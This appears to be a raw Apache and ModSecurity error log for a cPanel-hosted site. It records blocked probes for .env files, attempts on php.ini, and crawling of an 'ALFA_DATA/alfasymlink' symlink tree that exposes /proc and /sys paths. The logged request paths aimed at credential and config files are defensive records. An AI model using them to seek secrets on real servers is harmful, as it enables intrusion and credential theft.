[Tue Oct 27 05:47:59.600624 2026] [security2:error] [pid 3209604:tid 3209604] [client 77.90.185.243:58305] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBzT60A58tRzIL-Q2BmXQAAAAM"]
[Tue Oct 27 05:48:01.476262 2026] [core:error] [pid 3201640:tid 3201640] [client 77.90.185.243:1241] AH10244: invalid URI path (/../.env)
[Tue Oct 27 05:48:03.128287 2026] [security2:error] [pid 3201656:tid 3201656] [client 77.90.185.243:21847] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/backend/.env"] [unique_id "auBzU0mqTSs7laY6jMTiLgAAABc"]
[Tue Oct 27 05:48:03.128551 2026] [security2:error] [pid 3201656:tid 3201656] [client 77.90.185.243:21847] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/backend/.env"] [unique_id "auBzU0mqTSs7laY6jMTiLgAAABc"]
[Tue Oct 27 05:48:03.129496 2026] [security2:error] [pid 3201656:tid 3201656] [client 77.90.185.243:21847] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBzU0mqTSs7laY6jMTiLgAAABc"]
[Tue Oct 27 05:48:04.886580 2026] [security2:error] [pid 3209601:tid 3209601] [client 77.90.185.243:63647] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "auBzVAJ0bI7Z9n11TMABJwAAAAA"]
[Tue Oct 27 05:48:04.886821 2026] [security2:error] [pid 3209601:tid 3209601] [client 77.90.185.243:63647] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "auBzVAJ0bI7Z9n11TMABJwAAAAA"]
[Tue Oct 27 05:48:04.887745 2026] [security2:error] [pid 3209601:tid 3209601] [client 77.90.185.243:63647] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBzVAJ0bI7Z9n11TMABJwAAAAA"]
[Tue Oct 27 05:48:07.832267 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.88.84.219:18091] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:48:10.873520 2026] [security2:error] [pid 3201656:tid 3201656] [client 77.90.185.243:33087] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/admin/.env"] [unique_id "auBzWkmqTSs7laY6jMTiLwAAABc"]
[Tue Oct 27 05:48:10.873784 2026] [security2:error] [pid 3201656:tid 3201656] [client 77.90.185.243:33087] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/admin/.env"] [unique_id "auBzWkmqTSs7laY6jMTiLwAAABc"]
[Tue Oct 27 05:48:10.874703 2026] [security2:error] [pid 3201656:tid 3201656] [client 77.90.185.243:33087] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBzWkmqTSs7laY6jMTiLwAAABc"]
[Tue Oct 27 05:48:11.702488 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.198.33.233:4980] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:48:17.529983 2026] [security2:error] [pid 3201647:tid 3201647] [client 77.90.185.243:30963] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.example"] [unique_id "auBzYZVvqGtwGAy54pYOugAAAA0"]
[Tue Oct 27 05:48:17.530534 2026] [security2:error] [pid 3201647:tid 3201647] [client 77.90.185.243:30963] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.example"] [unique_id "auBzYZVvqGtwGAy54pYOugAAAA0"]
[Tue Oct 27 05:48:17.531696 2026] [security2:error] [pid 3201647:tid 3201647] [client 77.90.185.243:30963] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBzYZVvqGtwGAy54pYOugAAAA0"]
[Tue Oct 27 05:48:18.803558 2026] [security2:error] [pid 3209604:tid 3209604] [client 77.90.185.243:31007] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "auBzYq0A58tRzIL-Q2BmXwAAAAM"]
[Tue Oct 27 05:48:18.803835 2026] [security2:error] [pid 3209604:tid 3209604] [client 77.90.185.243:31007] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/app/.env"] [unique_id "auBzYq0A58tRzIL-Q2BmXwAAAAM"]
[Tue Oct 27 05:48:18.804758 2026] [security2:error] [pid 3209604:tid 3209604] [client 77.90.185.243:31007] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBzYq0A58tRzIL-Q2BmXwAAAAM"]
[Tue Oct 27 05:48:23.744802 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 98.82.40.168:23121] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:48:31.704512 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.194.226.74:20716] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:48:34.841827 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 85.208.96.194:24646] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:48:51.446959 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 85.208.96.207:43590] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:48:56.152827 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.71.216.196:26061] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:48:59.857252 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.205.113.104:29863] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:49:01.172379 2026] [security2:error] [pid 3209616:tid 3209616] [client 130.12.180.167:29436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBzjRpfUBgvi1kircRTkQAAABg"]
[Tue Oct 27 05:49:01.172639 2026] [security2:error] [pid 3209616:tid 3209616] [client 130.12.180.167:29436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBzjRpfUBgvi1kircRTkQAAABg"]
[Tue Oct 27 05:49:01.172917 2026] [security2:error] [pid 3209616:tid 3209616] [client 130.12.180.167:29436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "ia1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBzjRpfUBgvi1kircRTkQAAABg"]
[Tue Oct 27 05:49:03.982046 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.235.215.92:53402] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:49:07.792754 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.194.233.48:28684] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:49:15.665572 2026] [authz_core:error] [pid 3209604:tid 3209604] [client 195.178.110.53:19834] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 05:49:15.702530 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 195.178.110.53:19850] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 05:49:15.749433 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 44.217.177.142:64337] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/module/drivers/pci:virtio-pci/bind
[Tue Oct 27 05:49:18.395619 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 195.178.110.53:19952] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 05:49:18.412179 2026] [authz_core:error] [pid 3212771:tid 3212771] [client 195.178.110.53:19958] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 05:49:19.800185 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.6.97.88:51648] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:49:25.655882 2026] [authz_core:error] [pid 3212771:tid 3212771] [client 195.178.110.53:19958] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 05:49:26.315518 2026] [authz_core:error] [pid 3201647:tid 3201647] [client 195.178.110.53:49364] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 05:49:26.685227 2026] [authz_core:error] [pid 3212771:tid 3212771] [client 195.178.110.53:19958] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 05:49:27.316723 2026] [authz_core:error] [pid 3201647:tid 3201647] [client 195.178.110.53:49364] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 05:49:32.033044 2026] [core:error] [pid 3209604:tid 3209604] (13)Permission denied: [client 34.226.89.140:22314] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/18/module/uevent
[Tue Oct 27 05:49:40.015172 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.219.81.66:41999] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:49:47.775875 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 184.73.167.217:24200] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:49:51.714573 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 34.235.239.240:2688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/driver/unbind
[Tue Oct 27 05:49:59.653519 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.197.102.71:28942] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:50:03.921868 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 54.152.163.42:57689] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:00/driver/00:00/subsystem/drivers/system/unbind
[Tue Oct 27 05:50:11.886389 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 18.214.138.148:36261] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:50:19.795247 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 98.82.40.168:8261] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:50:23.538930 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.225.181.161:18556] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:50:43.613952 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.195.145.102:13358] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:50:55.554093 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.197.178.107:8119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:51:02.339147 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 85.208.96.206:50442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:51:03.364730 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 98.83.226.125:24565] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:51:11.747233 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.45.92.83:50350] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:51:27.293884 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 44.214.19.8:47997] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/cirrus/0000:00:02.0/rom
[Tue Oct 27 05:51:31.228053 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 18.232.12.157:49014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:51:35.885544 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.156.248.117:50902] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:51:43.878012 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 35.171.141.42:18982] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:51:55.138960 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.84.169.196:3884] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:52:03.138466 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 18.211.148.239:48117] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:52:11.354477 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.232.82.72:21251] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:52:15.768229 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 107.23.62.75:51777] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/vmd/module/uevent
[Tue Oct 27 05:52:23.598200 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 3.232.82.72:52381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:52:31.044611 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 3.89.170.186:35859] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/hpet/bind
[Tue Oct 27 05:52:39.095405 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.213.102.186:27563] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:52:47.021507 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 50.16.248.61:35529] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:52:50.844326 2026] [ssl:error] [pid 3209616:tid 3209616] (5)Input/output error: [client 52.71.216.196:4775] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:52:54.816294 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 44.223.193.255:60491] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:52:59.036884 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.206.193.60:16889] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:03.004805 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 85.208.96.211:36832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/validate
[Tue Oct 27 05:53:10.819738 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 54.166.104.83:18368] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:14.761631 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 18.207.79.144:39416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:18.628987 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.223.181.32:64077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:22.789734 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.202.88.37:47881] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:26.652756 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.195.50.71:31357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:30.494560 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.84.169.196:42396] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:34.499270 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 18.205.91.101:42364] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:34.499467 2026] [security2:error] [pid 3201641:tid 3201641] [client 18.205.91.101:42364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/memory5/subsystem/devices/memory8/node0/memory18/phys_index"] [unique_id "auB0nh6MTIKaGGLTiEIZGgAAAAc"]
[Tue Oct 27 05:53:34.499495 2026] [security2:error] [pid 3201641:tid 3201641] [client 18.205.91.101:42364] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/memory5/subsystem/devices/memory8/node0/memory18/phys_index"] [unique_id "auB0nh6MTIKaGGLTiEIZGgAAAAc"]
[Tue Oct 27 05:53:46.354307 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.220.148.166:52233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:50.321337 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.86.59.155:19038] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:53:54.277730 2026] [security2:error] [pid 3209601:tid 3209601] [client 3.94.40.182:3876] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory18/node0/memory5/subsystem/devices/memory6/"] [unique_id "auB0sgJ0bI7Z9n11TMABfAAAAAA"]
[Tue Oct 27 05:53:54.277767 2026] [security2:error] [pid 3209601:tid 3209601] [client 3.94.40.182:3876] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory18/node0/memory5/subsystem/devices/memory6/"] [unique_id "auB0sgJ0bI7Z9n11TMABfAAAAAA"]
[Tue Oct 27 05:53:58.239186 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 52.54.157.23:2922] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:54:10.331430 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 3.217.82.254:48130] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:54:14.212790 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 23.21.119.232:7200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/dw-apb-uart/bind
[Tue Oct 27 05:54:15.491565 2026] [security2:error] [pid 3201640:tid 3201640] [client 85.208.96.193:39010] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/s9y/php71/extend.php"] [unique_id "auB0x-JWPhOgLfVxy6aSjgAAAAI"]
[Tue Oct 27 05:54:15.491611 2026] [security2:error] [pid 3201640:tid 3201640] [client 85.208.96.193:39010] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/s9y/php71/extend.php"] [unique_id "auB0x-JWPhOgLfVxy6aSjgAAAAI"]
[Tue Oct 27 05:54:22.195807 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.209.174.110:24898] AH02013: coalesce failed to read from data bucket
